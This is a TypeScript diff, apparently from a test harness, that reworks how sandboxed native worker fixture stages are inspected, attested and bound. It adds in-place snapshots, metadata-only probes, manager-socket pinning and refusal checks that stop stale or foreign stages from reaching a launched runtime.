storage=input.maintenance?.output?.storage,lease=storage&&managedFixtureLeases.get(storage); + const context=fixtureProbeContext.getStore(); + // A product preflight rejection has not consumed the existing inspection. + // Retire only after the real preparer entered its temporary inspection. + if(lease&&context?.family&&context.maximum!==undefined){lease.dispose();lease.dispose=()=>{};} + }; + const preparationContext=(input:Parameters[0],family:Event["family"]):FixtureProbeContext|undefined=>{ + if(fixtureProbeContext.getStore())return fixtureProbeContext.getStore(); + const storage=input.output?.storage,lease=storage&&managedFixtureLeases.get(storage),keeper=storage&&fixtureKeepers.get(storage.namespacePid); + if(!lease||!keeper?.managed||keeper.ordinary)return; + // Invalid product requests must reach the product's own pre-launch refusal. + if(lease.closed||input.startupView!==lease.view||scriptedRoute.getStore()!==lease.scope)return; + return {definitionHash:nativeFixtureProbeCommands().definitionHash,brain:lease.view.brain,view:lease.view,storage,family}; + }; + const completed=(preparation:object)=>{const event=preparations.get(preparation);if(!event)return;preparations.delete(preparation);if(event.used||event.lease.closed||pending.has(event.lease.storage))refuse("fixture preparation event was replayed");pending.set(event.lease.storage,event);}; + const renew=async(input:Parameters[0],family:Event["family"],git?:NonNullable[0]["git"]>)=>{ + const storage=input.output?.storage,event=storage&&pending.get(storage);if(!event||event.family!==family)return; + const lease=event.lease;if(event.used||lease.closed||managedFixtureLeases.get(storage!)!==lease||input.startupView!==lease.view||scriptedRoute.getStore()!==lease.scope)refuse("fixture preparation owner differs"); + if(git){ + const root=join(lease.storage.root,"merged"),relative=git.source.slice(root.length+1); + if(family!=="git"||git.target!=="/tmp/brain-maintenance-git"||git.source!==join(root,relative)||!/^\.brain-maintenance-git-[0-9a-f]{8}(?:-[0-9a-f]{4}){3}-[0-9a-f]{12}$/.test(relative))refuse("fixture preparation owner differs"); + const producer=readFileSync(join(ROOT,"packages/ui-sdk/src/server/worker-native-output.ts"),"utf8"),scaffolds=/for \(const name of (\["hooks", "info", "modules"\]) as const\)/.exec(producer); + if(!scaffolds||!producer.includes('native.manager.statStage(id, ".git", uid, signal)'))refuse("fixture Git scaffold producer changed"); + lease.preparationAreas.add(relative);lease.preparationAreas.add(".git"); + for(const name of JSON.parse(scaffolds[1]!) as string[])lease.preparationAreas.add(`.git/${name}`); + } + const inspectionStarted=performance.now();event.used=true;pending.delete(storage!);lease.dispose();usedManagedKeepers.delete(storage!); + try{lease.dispose=await createNativeFixtureManagedKeeper(lease.storage,lease.view,[...lease.areas,...lease.preparationAreas],lease.preparationAreas);nativeReceipt({kind:"native-fixture-inspection-renewed",head:nativeTestHead(),family,state:"fresh",ms:Math.round(performance.now()-inspectionStarted)});} + catch(error){lease.closed=true;managedFixtureLeases.delete(storage!);stageMetadataChannels.get(storage!)?.close();stageMetadataChannels.delete(storage!);throw error;} + finally{usedManagedKeepers.add(storage!);} + }; + const observers=[ + ...(realFixtureLeaseManager?[spyOn(realFixtureLeaseManager.leases,"createNativeBrainLeaseManager").mockImplementation(async(...args)=>{ + const pin=fixtureManagerPin(args[0]),value=await realFixtureLeaseManager.create(...args); + // Only the actual result of the pinned real factory inherits this exact raw pin. + if(pin&&fixtureManagerPin(args[0])===pin){ + if(value.client===args[0])refuse("fixture lease client identity differs"); + let active=true;fixtureManagerOptions.set(value.client,pin);fixtureManagerWrappers.set(value.client,{raw:args[0],isLive:()=>active}); + const close=value.close.bind(value);value.close=()=>{active=false;return close();}; + } + return value; + })]:[]), + spyOn(maintenance,"probeNativeMaintenanceWorker").mockImplementation((...args)=>{const {definitionHash}=nativeFixtureProbeCommands();return fixtureProbeContext.run({definitionHash,brain:realpathSync(args[0]),view:args[3]},()=>real.probe(...args));}), + spyOn(output,"prepareNativeMaintenanceIndex").mockImplementation(async(...args)=>{try{const value=await real.index(...args);remember(value,args[0],"index");await enterPreparer(value,args[0],"index",value?.maximum);return value;}catch(error){retirePreparation(args[0]);throw error;}}), + spyOn(output,"finishNativeMaintenanceIndex").mockImplementation((...args)=>{const value=real.finishIndex(...args);if(args[1])completed(args[0]);return value;}), + spyOn(output,"prepareNativeMaintenanceGit").mockImplementation(async(...args)=>{try{const value=await real.git(...args);remember(value,args[0],"git");await enterPreparer(value,args[0],"git",value?.manifest.maximum);return value;}catch(error){retirePreparation(args[0]);throw error;}}), + spyOn(output,"finishNativeMaintenanceGit").mockImplementation(async(...args)=>{const value=await real.finishGit(...args);completed(args[0]);return value;}), + spyOn(maintenance,"prepareMaintenanceWorker").mockImplementation(async(...args)=>{const context=preparationContext(args[0],"index"),value=await (context?fixtureProbeContext.run(context,()=>real.worker(...args)):real.worker(...args));await renew(args[0],"index");return value;}), + spyOn(maintenance,"prepareMaintenanceGitInput").mockImplementation(async(...args)=>{const context=preparationContext(args[0],"git"),value=await (context?fixtureProbeContext.run(context,()=>real.gitInput(...args)):real.gitInput(...args));await renew(args[0],"git",value);return value;}), + ];stopPreparationObservers=()=>{for(const observer of observers.reverse())observer.mockRestore();}; + } + let closed=false;return ()=>{if(closed)return;closed=true;if(--preparationObservers===0){stopPreparationObservers?.();stopPreparationObservers=undefined;}}; +} /** Only a fixture's real acquired native output can declare this remote keeper. */ -export async function registerNativeFixtureManagedKeeper(storage:import("../packages/ui-sdk/src/server/worker-native-output").WorkerOutputStorage,view:import("../packages/ui-sdk/src/server/worker-startup-view").WorkerStartupView,areas:readonly string[]=[]):Promise<()=>void> { - const scope=scriptedRoute.getStore(),brain=view.brain,expected=join(dirname(brain),".brain-native","stages");let closed=false; +async function createNativeFixtureManagedKeeper(storage:import("../packages/ui-sdk/src/server/worker-native-output").WorkerOutputStorage,view:import("../packages/ui-sdk/src/server/worker-startup-view").WorkerStartupView,areas:readonly string[]=[],preparedTrees:ReadonlySet=new Set()):Promise<()=>void> { + return guardTimingAsync("stage-inspection",()=>createNativeFixtureManagedKeeperInspected(storage,view,areas,preparedTrees)); +} +async function createNativeFixtureManagedKeeperInspected(storage:import("../packages/ui-sdk/src/server/worker-native-output").WorkerOutputStorage,view:import("../packages/ui-sdk/src/server/worker-startup-view").WorkerStartupView,areas:readonly string[]=[],preparedTrees:ReadonlySet=new Set()):Promise<()=>void> { + const scope=scriptedRoute.getStore(),brain=view.brain,expected=join(dirname(brain),".brain-native","stages"),probe=fixtureProbeContext.getStore(),metadataOnly=probe?.storage===storage;let closed=false; if(typeof storage.namespaceStart!=="string"||!storage.namespaceStart)refuse("managed fixture keeper provenance is unavailable"); if(usedManagedKeepers.has(storage))refuse("managed fixture keeper registration was already used"); let rootIdentity:ReturnType|undefined;try{rootIdentity=statSync(storage.root);}catch{/* validate refuses */} const validate=()=>{ try{ const {isManagedWorkerStartupView,isNativeWorkerStartupRoot,nativeWorkerStartupInput}=createRequire(import.meta.url)("../packages/ui-sdk/src/server/worker-startup-view.ts"); + const manager=nativeWorkerStartupInput(view).manager;if(fixtureManagerOptions.has(manager)&&!fixtureManagerPin(manager))return false; const brainStamp=scope?.fixtureRootStamps.get(brain),currentBrain=lstatSync(brain,{bigint:true}); if(!brainStamp||brainStamp.dev!==currentBrain.dev||brainStamp.ino!==currentBrain.ino)return false; if(closed||!scope||scriptedRoute.getStore()!==scope||!scope.fixtureRoots.includes(brain)||dirname(view.root)!==join(dirname(brain),".brain-native","checkpoints")||!isManagedWorkerStartupView(view)||!isNativeWorkerStartupRoot(view.root)||nativeWorkerStartupInput(view).checkpoint.path!==view.root||resolve(storage.mount)!==storage.mount||dirname(storage.mount)!==expected||!/^[0-9a-f]{8}(?:-[0-9a-f]{4}){3}-[0-9a-f]{12}$/.test(basename(storage.mount))||!new RegExp(`^/proc/${process.pid}/fd/[0-9]+$`).test(storage.root)||!rootIdentity)return false; @@ -1394,44 +1735,74 @@ export async function registerNativeFixtureManagedKeeper(storage:import("../pack if(!validate())refuse("managed fixture keeper provenance is unavailable"); const {nativeWorkerStartupInput}=createRequire(import.meta.url)("../packages/ui-sdk/src/server/worker-startup-view.ts"); const {verifiedWorkerIdentity}=createRequire(import.meta.url)("../packages/ui-sdk/src/server/worker-launcher.ts"); - const native=nativeWorkerStartupInput(view),id=basename(storage.mount),uid=verifiedWorkerIdentity(brain)?.workerUid; + const native=nativeWorkerStartupInput(view),id=basename(storage.mount);let uid=verifiedWorkerIdentity(brain)?.workerUid; + if(uid===undefined&&storage.identityTicketFd!==undefined)uid=await qualifyFixtureStagePrivately(storage,view); if(uid===undefined){ // Ordinary stages use the existing same-UID rule, not a manager capability // that production intentionally reserves for separate-UID workers. - const anchor=join(storage.root,"merged"),snapshot=nativeFixtureDirectory("odysseus-keeper-inspection-"); + const anchor=join(storage.root,"merged"),snapshot=anchor;inPlaceFixtureSnapshots.add(snapshot); let manifest:string,gitManifest:string|undefined,gitAnchor:string|undefined,gitSnapshot:string|undefined; const sameOwner=()=>validate()&&statSync(anchor).uid===nativeKernelIdentity().uid; - const ordinary=()=>{try{return sameOwner()&&ordinaryStageManifest(anchor,storage.allowanceBytes!)===manifest&&(!gitAnchor||ordinaryStageManifest(gitAnchor,storage.allowanceBytes!)===gitManifest);}catch{return false;}}; - const copy=(from:string,to:string)=>{const before=ordinaryStageManifest(from,storage.allowanceBytes!);for(const name of readdirSync(to))rmSync(join(to,name),{recursive:true,force:true});for(const name of readdirSync(from))cpSync(join(from,name),join(to,name),{recursive:true,dereference:false});if(ordinaryStageManifest(from,storage.allowanceBytes!)!==before)throw Error("Stage changed during inspection");return before;}; + const ordinaryManifest=()=>{try{return ordinaryStageManifest(anchor,storage.allowanceBytes!)===manifest&&(!gitAnchor||ordinaryStageManifest(gitAnchor,storage.allowanceBytes!)===gitManifest);}catch{return false;}}; + const ordinary=()=>sameOwner()&&fixtureFreshness(ordinaryManifest); + const inspect=(from:string)=>ordinaryStageManifest(from,storage.allowanceBytes!); let unregister:(()=>void)|undefined; try{ if(statSync(anchor).uid!==nativeKernelIdentity().uid)throw Error("Ordinary keeper owner differs"); manifest=ordinaryStageManifest(anchor,storage.allowanceBytes!); - for(const name of readdirSync(anchor))cpSync(join(anchor,name),join(snapshot,name),{recursive:true,dereference:false}); + nativeReceipt({kind:"native-fixture-inspection-view",mode:"in-place",scope:"ordinary-keeper"}); if(!ordinary())throw Error("Ordinary keeper changed during inspection"); unregister=registerFixtureKeeper(storage as FixtureKeeper,undefined,snapshot,ordinary); ordinaryManagedStages.set(storage,{view,git(spec){ try{ const role=nativeStageDirectoryRoles().bindSources[1]!; if(!sameOwner()||spec.source!==join(storage.root,role)||spec.target!=="/tmp/brain-maintenance-git"||!lstatSync(spec.source).isDirectory()||lstatSync(spec.source).uid!==nativeKernelIdentity().uid)throw Error("Foreign maintenance Git preparation"); - gitAnchor=spec.source;gitSnapshot??=nativeFixtureDirectory("odysseus-keeper-inspection-"); + gitAnchor=spec.source;gitSnapshot=gitAnchor;inPlaceFixtureSnapshots.add(gitSnapshot); // Preparation is an explicit new inspection point; old snapshots never // silently become current during classification or beforeLaunch. - manifest=copy(anchor,snapshot);gitManifest=copy(gitAnchor,gitSnapshot); + manifest=inspect(anchor);gitManifest=inspect(gitAnchor); if(!ordinary())throw Error("Stage changed after preparation"); fixtureKeepers.get(storage.namespacePid)!.bindSources.set(join(storage.mount,role),gitSnapshot); }catch{return refuse("ordinary managed fixture Git snapshot is unavailable");} }}); - }catch(error){rmSync(snapshot,{recursive:true,force:true});if(String(error).includes("Offline native Claude refused before launch:"))throw error;return refuse("ordinary managed fixture keeper snapshot is unavailable");} - usedManagedKeepers.add(storage);return ()=>{closed=true;ordinaryManagedStages.delete(storage);try{unregister?.();}finally{if(gitSnapshot)rmSync(gitSnapshot,{recursive:true,force:true});}}; + }catch(error){clearOpaqueSnapshot(snapshot);removeFixtureSnapshot(snapshot);if(String(error).includes("Offline native Claude refused before launch:"))throw error;return refuse("ordinary managed fixture keeper snapshot is unavailable");} + usedManagedKeepers.add(storage);return ()=>{closed=true;ordinaryManagedStages.delete(storage);try{unregister?.();}finally{if(gitSnapshot)removeFixtureSnapshot(gitSnapshot);}}; } let ticket:{fd:number;close():void},snapshot:string; try{ticket=await native.manager.attestStage(id);}catch{return refuse("managed fixture keeper snapshot is unavailable");} try{snapshot=nativeFixtureDirectory("odysseus-managed-inspection-");}catch{ticket.close();return refuse("managed fixture keeper snapshot is unavailable");} - let ticketBytes:Buffer,stamp:ReturnType,stageStamps:ReadonlyMap|undefined; + let ticketBytes:Buffer,stamp:ReturnType,stageStamps:ReadonlyMap|undefined;let fullStageKeys:ReadonlyMap|undefined;let opaque:OpaqueStageNode[]=[],readerIdentity:StageReaderIdentity|undefined,metadataChannel:Awaited>|undefined; + const managerOptions=fixtureManagerConnection(native.manager); + let managerSocket:ReturnType|undefined; + if(managerOptions){try{managerSocket=lstatSync(managerOptions.socketPath);if(!managerSocket.isSocket()||managerSocket.uid!==0||realpathSync(managerOptions.socketPath)!==managerOptions.socketPath)throw Error("Unpinned manager socket");}catch{metadataChannel?.close();ticket.close();clearOpaqueSnapshot(snapshot);removeFixtureSnapshot(snapshot);return refuse("managed fixture keeper private reader is unavailable");}} + const currentStage=()=>{ + if(!stageStamps)return true; + if(metadataOnly){try{const root=lstatSync(join(storage.root,"merged"),{bigint:true}),stamp=`${root.ino}:${root.size}:${root.mtimeNs}:${root.ctimeNs}`;if(stamp!==stageStamps.get("")||!metadataChannel||!readerIdentity)return false;verifyStageMetadataEvidence(metadataChannel.inspect("",stamp,String(root.ino)),readerIdentity,"directory",stamp,[0,13]);return true;}catch{return false;}} + + if(fullStageKeys&&readerIdentity){try{ + for(const [path,key] of fullStageKeys){const expected=stageStamps.get(path);if(!expected) return false; + // The production reader's stamp is preserved; all additional fields come + // from the same pinned view or the exact Q7 metadata-only channel. + const [inode,bytes]=expected.split(":");const old=key.split(":");const mode=Number(old[5])&0o7777,kind=(Number(old[5])&0o170000)===0o040000?"directory":"file"; + if(stageMetadataKey({path,kind,stamp:expected,mode,bytes:Number(bytes),inode:inode!},readerIdentity)!==key)return false; + } + }catch{return false;}} + try{for(const node of opaque)recheckOpaqueStageNode(join(storage.root,"merged",node.path),node,readerIdentity!);}catch{return false;} + let local=true; + try{for(const[path,expected]of stageStamps){const actual=lstatSync(join(storage.root,"merged",path),{bigint:true});if(`${actual.ino}:${actual.size}:${actual.mtimeNs}:${actual.ctimeNs}`!==expected){local=false;break;}}}catch{local=false;} + if(local&&!opaque.length)return true; + if(!managerOptions||!managerSocket)return false; + try{ + const root=lstatSync(join(storage.root,"merged"),{bigint:true});if(`${root.ino}:${root.size}:${root.mtimeNs}:${root.ctimeNs}`!==stageStamps.get(""))return false; + const socket=lstatSync(managerOptions.socketPath);if(!socket.isSocket()||socket.dev!==managerSocket.dev||socket.ino!==managerSocket.ino||socket.uid!==0)return false; + if(!metadataRuntime)return false;const executable=statSync(metadataRuntime.path,{bigint:true});if(executable.dev!==metadataRuntime.stamp.dev||executable.ino!==metadataRuntime.stamp.ino||executable.size!==metadataRuntime.stamp.size)return false; + const result=metadataSpawnSync([metadataRuntime.path,"--no-env-file",join(ROOT,"scripts/native-stage-metadata-check.ts")],{env:{PATH:"/usr/bin:/bin"},stdin:Buffer.from(JSON.stringify({options:managerOptions,id,uid,entries:[...stageStamps],opaque})),stdout:"pipe",stderr:"pipe",timeout:watchdogMs(15000)}); + const after=lstatSync(managerOptions.socketPath);return result.exitCode===0&&String(result.stdout).trim()==='{"current":true}'&&after.dev===socket.dev&&after.ino===socket.ino&&after.uid===0; + }catch{return false;} + }; const attested=()=>{try{ - if(!validate())return false; - if(stageStamps)for(const[path,expected]of stageStamps){const actual=lstatSync(join(storage.root,"merged",path),{bigint:true});if(`${actual.ino}:${actual.size}:${actual.mtimeNs}:${actual.ctimeNs}`!==expected)return false;} + if(!validate()||managerOptions&&fixtureManagerConnection(native.manager)!==managerOptions)return false; + if(!fixtureFreshness(currentStage))return false; const now=fstatSync(ticket.fd);if(now.dev!==stamp.dev||now.ino!==stamp.ino||now.size!==stamp.size||!readFileSync(`/proc/self/fd/${ticket.fd}`).equals(ticketBytes))return false; const value=JSON.parse(ticketBytes.toString("utf8")),merged=statSync(join(storage.root,"merged"),{bigint:true}),checkpoint=statSync(view.root,{bigint:true}),ns=statSync(`/proc/${storage.namespacePid}/ns/mnt`,{bigint:true}); return value.kind==="brain-worker-stage"&&value.id===id&&value.appUid===nativeKernelIdentity().uid&&value.keeper.pid===storage.namespacePid&&value.keeper.start===storage.namespaceStart&&value.keeper.mountNamespaceInode===String(ns.ino)&&value.root.path===join(storage.mount,"merged")&&value.root.dev===String(merged.dev)&&value.root.ino===String(merged.ino)&&value.checkpoint.path===view.root&&value.checkpoint.dev===String(checkpoint.dev)&&value.checkpoint.ino===String(checkpoint.ino)&&value.checkpoint.uuid===native.checkpoint.uuid&&value.allowanceBytes===storage.allowanceBytes; @@ -1441,20 +1812,38 @@ export async function registerNativeFixtureManagedKeeper(storage:import("../pack ticketBytes=readFileSync(`/proc/self/fd/${ticket.fd}`);if(!attested())throw Error("Stage authority differs"); const rootBefore=lstatSync(join(storage.root,"merged"),{bigint:true}); const rootStamp=`${rootBefore.ino}:${rootBefore.size}:${rootBefore.mtimeNs}:${rootBefore.ctimeNs}`; - stageStamps=new Map([["",rootStamp],...await captureNativeFixtureStage(native.manager,id,uid,storage.allowanceBytes!,snapshot)]); - if(!attested())throw Error("Stage authority expired during inspection"); - }catch{ticket.close();rmSync(snapshot,{recursive:true,force:true});return refuse("managed fixture keeper snapshot is unavailable");} - let unregister:()=>void;try{unregister=registerFixtureKeeper(storage as FixtureKeeper,attested,snapshot);}catch(error){ticket.close();rmSync(snapshot,{recursive:true,force:true});if(String(error).includes("Offline native Claude refused before launch:"))throw error;refuse("managed fixture keeper provenance is unavailable",{sourceKind:"product-keeper",targetKind:"runtime-or-fixture",metadataError:"UNKNOWN"});} + const authority=JSON.parse(ticketBytes.toString("utf8")); + if(managerOptions){metadataChannel=stageMetadataChannels.get(storage);if(metadataChannel&&!metadataChannel.matches(authority))throw Error("Stage metadata handle differs");metadataChannel??=await connectNativeStageMetadata(nativeStageMetadataSocket(managerOptions.socketPath,id),authority);stageMetadataChannels.set(storage,metadataChannel);} + readerIdentity={uid,gids:[authority.appGid],...(metadataChannel?{inspect:metadataChannel.inspect}:{}),root:join(storage.root,"merged"),forbidden:nativeTripwireMaskPaths().flatMap(path=>[path,...[join(storage.mount,"merged"),brain].filter(root=>within(root,path)).map(root=>join(storage.root,"merged",path.slice(root.length)))])}; + const entries=metadataOnly?new Map():await captureNativeFixtureStage(native.manager,id,uid,storage.allowanceBytes!,snapshot,readerIdentity);opaque=stageOpaqueNodes.get(entries)??[]; + if(metadataOnly)nativeReceipt({kind:"native-fixture-probe-metadata",head:nativeTestHead(),state:"unknown",contents:"not-inspected"}); + stageStamps=new Map([["",rootStamp],...entries]);fullStageKeys=metadataOnly?undefined:new Map([["",fixturePathKey(join(storage.root,"merged"))],...stageEntryKeys.get(entries)??[]]); + // registerFixtureKeeper performs the complete post-capture check in its + // synchronous validation walk before publishing the registration. + }catch{metadataChannel?.close();ticket.close();clearOpaqueSnapshot(snapshot);removeFixtureSnapshot(snapshot);return refuse("managed fixture keeper snapshot is unavailable");} + let unregister:()=>void;try{unregister=registerFixtureKeeper(storage as FixtureKeeper,attested,snapshot,undefined,metadataOnly,metadataOnly?probe:undefined);}catch(error){metadataChannel?.close();ticket.close();clearOpaqueSnapshot(snapshot);removeFixtureSnapshot(snapshot);if(String(error).includes("Offline native Claude refused before launch:"))throw error;refuse("managed fixture keeper provenance is unavailable",{sourceKind:"product-keeper",targetKind:"runtime-or-fixture",metadataError:"UNKNOWN"});} try{ for(const area of areas){ if(!area||isAbsolute(area)||resolve("/",area)!=="/"+area)throw Error("Noncanonical fixture area"); - const path=realpathSync(join(snapshot,area));if(!within(snapshot,path)||!lstatSync(path).isDirectory())throw Error("Fixture area outside snapshot"); + // Allocator areas are publication filters and may name an absent output. + // An absent directory grants no bind-source role; later writes invalidate + // the inspection and still require the normal fresh preparation event. + let path:string;try{path=realpathSync(join(snapshot,area));}catch(error){if((error as NodeJS.ErrnoException).code==="ENOENT")continue;throw error;} + if(!within(snapshot,path))throw Error("Fixture area outside snapshot"); + // Publication filters can name files. They remain inspected input bytes, + // but never grant an additional directory bind-source role. + const kind=lstatSync(path);if(kind.isFile())continue;if(!kind.isDirectory())throw Error("Fixture area outside snapshot"); fixtureKeepers.get(storage.namespacePid)!.bindSources.set(join(storage.mount,"merged",area),path); + if(preparedTrees.has(area)&&/^\.brain-maintenance-git-[0-9a-f-]{36}$/.test(area))fixtureKeepers.get(storage.namespacePid)!.nestedBindSources.add(join(storage.mount,"merged",area)); } }catch{unregister();ticket.close();return refuse("managed fixture keeper area is unavailable");} - usedManagedKeepers.add(storage);return ()=>{closed=true;try{unregister();}finally{ticket.close();rmSync(snapshot,{recursive:true,force:true});}}; + for(const node of opaque)opaqueStageSnapshots.set(join(snapshot,node.path),{node,check:()=>{if(!attested())throw Error("Opaque stage authority expired");recheckOpaqueStageNode(join(storage.root,"merged",node.path),node,readerIdentity!);}}); + usedManagedKeepers.add(storage);return ()=>{closed=true;try{unregister();}finally{ticket.close();clearOpaqueSnapshot(snapshot);removeFixtureSnapshot(snapshot);}}; +} +function registerFixtureKeeper(storage: FixtureKeeper, managed?:()=>boolean, managedSnapshot?:string,ordinaryStage?:()=>boolean,metadataOnly=false,probeContext?:FixtureProbeContext): () => void { + return fixtureWalk(()=>registerFixtureKeeperInWalk(storage,managed,managedSnapshot,ordinaryStage,metadataOnly,probeContext)); } -function registerFixtureKeeper(storage: FixtureKeeper, managed?:()=>boolean, managedSnapshot?:string,ordinaryStage?:()=>boolean): () => void { +function registerFixtureKeeperInWalk(storage: FixtureKeeper, managed?:()=>boolean, managedSnapshot?:string,ordinaryStage?:()=>boolean,metadataOnly=false,probeContext?:FixtureProbeContext): () => void { const start = processStart(storage.namespacePid); let pid = storage.namespacePid, observed = false; for (let depth = 0; pid > 1 && depth < 64; depth++) { @@ -1479,13 +1868,13 @@ function registerFixtureKeeper(storage: FixtureKeeper, managed?:()=>boolean, man let disposed=false; const live = () => { try { const now=statSync(ns,{bigint:true}); return !disposed && processStart(storage.namespacePid)===start && now.dev===namespace.dev && now.ino===namespace.ino && statSync(namespaceRoot,{bigint:true}).dev===info.dev && statSync(namespaceRoot,{bigint:true}).ino===info.ino && authority(); } catch { return false; } }; let claimed=false; - const entry = { mount, snapshot, live, ordinary:Boolean(ordinaryStage),bindSources:new Map([[mount,snapshot]]),managed:Boolean(managed||ordinaryStage), claim(){if((managed||ordinaryStage)&&claimed)refuse("managed fixture keeper snapshot was already used");claimed=true;}, refresh() { + const entry = { mount, snapshot, live, metadataOnly, probeContext, ordinary:Boolean(ordinaryStage),nestedBindSources:new Set(),bindSources:new Map([[mount,snapshot]]),managed:Boolean(managed||ordinaryStage), claim(){if((managed||ordinaryStage)&&claimed)refuse("managed fixture keeper snapshot was already used");claimed=true;}, refresh() { if (!live()) refuse("fixture keeper namespace is no longer live",managed?{sourceKind:"product-keeper",targetKind:"runtime-or-fixture",metadataError:"UNKNOWN"}:undefined); if(managed||ordinaryStage){if(!managedSnapshot)refuse("managed fixture keeper snapshot is unavailable");return;} for (const name of readdirSync(snapshot)) rmSync(join(snapshot,name),{recursive:true,force:true}); for (const name of readdirSync(anchor)) cpSync(join(anchor,name),join(snapshot,name),{recursive:true,dereference:false}); - }, dispose() { if(disposed)return;disposed=true;if(fixtureKeepers.get(storage.namespacePid)===entry)fixtureKeepers.delete(storage.namespacePid);closeSync(fd);rmSync(snapshot,{recursive:true,force:true}); } }; - if(fixtureKeepers.has(storage.namespacePid)){closeSync(fd);rmSync(snapshot,{recursive:true,force:true});refuse("fixture keeper was already registered");} + }, dispose() { if(disposed)return;disposed=true;if(fixtureKeepers.get(storage.namespacePid)===entry)fixtureKeepers.delete(storage.namespacePid);closeSync(fd);clearOpaqueSnapshot(snapshot);removeFixtureSnapshot(snapshot); } }; + if(fixtureKeepers.has(storage.namespacePid)){closeSync(fd);clearOpaqueSnapshot(snapshot);removeFixtureSnapshot(snapshot);refuse("fixture keeper was already registered");} try { entry.refresh(); } catch { entry.dispose(); refuse("fixture keeper snapshot is unavailable"); } fixtureKeepers.set(storage.namespacePid,entry); return entry.dispose; } @@ -1496,6 +1885,7 @@ function workerKeeper(argv: readonly string[], bwrap: number): KeeperInspection if(separator<0||separator>bwrap||!argv.slice(at+1,separator).includes("--mount"))return; const target=argv.indexOf("--target",at);if(target<0||target>separator)return; const entry=fixtureKeepers.get(Number(argv[target+1]));if(!entry)return; + if(entry.metadataOnly)refuse("metadata-only probe cannot admit a native runtime"); if(!entry.live())refuse("fixture keeper namespace is no longer live");entry.claim();entry.refresh();return entry; } function inspectedWorkerSource(input: string, keeper?: KeeperInspection): string { @@ -1537,6 +1927,9 @@ function assertCheckpointBind(mounts:readonly string[],role?:NativeCheckpointRol for(let i=0;irealpathSync(path)):[]; +} function stageWorkerFixtureBinds(argv: string[], bwrap: number, route: ScriptedAuthority, guardRoot: string, keeper?: KeeperInspection, checkpoint?:NativeCheckpointRole): void { let staged = 0; const staging = join(guardRoot, "files"); @@ -1559,7 +1952,7 @@ function stageWorkerFixtureBinds(argv: string[], bwrap: number, route: ScriptedA mkdirSync(staging, {recursive:true,mode:0o755});chmodSync(staging,0o755); const copy=join(staging,String(staged++));writeFileSync(copy,explicit.bytes,{mode:explicit.mode});chmodSync(copy,explicit.mode); argv[i]="--ro-bind";argv[i+1]=copy; - } else if (!checkpointBind(argv[i]!,argv[i+1]!,argv[i+2]!,checkpoint)&&!copiedFixtureTurnTreeBind(argv[i]!,source,argv[i+2]!,route)&&!privateIndexBind(argv[i]!,source,argv[i+2]!,route)&&!workerSourceAllowed(source, route, guardRoot)) { + } else if (!checkpointBind(argv[i]!,argv[i+1]!,argv[i+2]!,checkpoint)&&!copiedFixtureTurnTreeBind(argv[i]!,source,argv[i+2]!,route)&&!privateIndexBind(argv[i]!,source,argv[i+2]!,route)&&!ordinaryKeeperRoots(keeper).some(root=>within(root,source))&&!workerSourceAllowed(source, route, guardRoot)) { const info=lstatSync(source); // Replace a socket-only relay directory with exact socket binds. A later // file in the original directory never enters the native view. @@ -1589,7 +1982,8 @@ function assertWorkerFixtureBinds(mounts: readonly string[], route: ScriptedAuth const copiedRole=copiedFixtureTurnTreeBind(mounts[i]!,source,mounts[i+2]!,route); const copiedRoot=copiedRole?(source===copiedRole.root?copiedRole.root:copiedRole.index):undefined; const privateIndexRoot=copiedRoot?undefined:privateIndexBind(mounts[i]!,source,mounts[i+2]!,route)?.root; - if(!checkpointRoot&&!privateIndexRoot&&!copiedRoot&&!workerSourceAllowed(source,route,guardRoot)) { + const keeperRoots=ordinaryKeeperRoots(keeper); + if(!checkpointRoot&&!privateIndexRoot&&!copiedRoot&&!keeperRoots.some(root=>within(root,source))&&!workerSourceAllowed(source,route,guardRoot)) { const info=lstatSync(source); if(!(info.isSocket() && socketMatchesOrigin(source,route.origin)) && !(source === "/dev/null" && info.isCharacterDevice()))refuse("worker bind was not created or staged by the fixture",mountInputEvidence(source,mounts[i+2]!,i,{code:"UNREGISTERED"},route.fixtureRoots)); } @@ -1597,8 +1991,9 @@ function assertWorkerFixtureBinds(mounts: readonly string[], route: ScriptedAuth let inspected=source; const visit=(path:string):void=>{ inspected=path; + const opaque=opaqueStageSnapshots.get(path);if(opaque){opaque.check();return;} const real=realpathSync(path),info=lstatSync(real); - if(info.isFile() && !(checkpointRoot&&within(checkpointRoot,real))&&!(privateIndexRoot&&within(privateIndexRoot,real))&&!(copiedRoot&&within(copiedRoot,real))&&!workerSourceAllowed(real,route,guardRoot))refuse("worker file was not created or staged by the fixture"); + if(info.isFile() && !keeperRoots.some(root=>within(root,real)) && !keeperCheckedFile(real,keeper) && !(checkpointRoot&&within(checkpointRoot,real))&&!(privateIndexRoot&&within(privateIndexRoot,real))&&!(copiedRoot&&within(copiedRoot,real))&&!workerSourceAllowed(real,route,guardRoot))refuse("worker file was not created or staged by the fixture"); if(!info.isDirectory() || SYSTEM.some(root=>{try{return within(realpathSync(root),real);}catch{return false;}}) || visited.has(`${info.dev}:${info.ino}`))return; visited.add(`${info.dev}:${info.ino}`);for(const name of readdirSync(real))visit(join(real,name)); }; @@ -1655,6 +2050,7 @@ function nativeManagedCandidateDirectories(argv:readonly string[]):ReadonlyMap(); for(const path of candidates){ try{const canonical=realpathSync(path);if(!isAbsolute(canonical))continue;statSync(canonical);paths.add(path);paths.add(canonical);} - catch(error){if(!["ENOENT","ENAMETOOLONG"].includes((error as NodeJS.ErrnoException).code??""))throw error;} + catch(error){if((error as NodeJS.ErrnoException).code!=="ENOENT")throw error;} } return [...paths].sort(); } +let runtimeMaskFindings:{key:string;paths:readonly string[]}|undefined,maskFindingReuses=0; +export function nativeFixtureSetupCounts():{maskReuses:number}{return {maskReuses:maskFindingReuses};} export function nativeTripwireMaskPaths(context:SpawnContext={}):string[]{ - const paths=new Set(nativeExistingRuntimeMaskPaths(installedRuntimes.flatMap(entry=>[entry.path,...entry.aliases??[]]))); + const candidates=installedRuntimes.flatMap(entry=>[entry.path,...entry.aliases??[]]); + const key=JSON.stringify(candidates.map(path=>{try{const real=realpathSync(path);return [path,fixturePathKey(path),real,fixturePathKey(real)];}catch(error){if((error as NodeJS.ErrnoException).code==="ENOENT")return [path,"missing"];throw error;}})); + if(runtimeMaskFindings?.key===key)maskFindingReuses++; + else runtimeMaskFindings={key,paths:Object.freeze(nativeExistingRuntimeMaskPaths(candidates))}; + const paths=new Set(runtimeMaskFindings.paths); const selected=context.env?.CLAUDE_CODE_PATH??process.env.CLAUDE_CODE_PATH; if(selected&&isNativeClaude(selected,[],context)){paths.add(resolve(context.cwd??process.cwd(),selected));paths.add(resolveExecutable(selected,context));} return 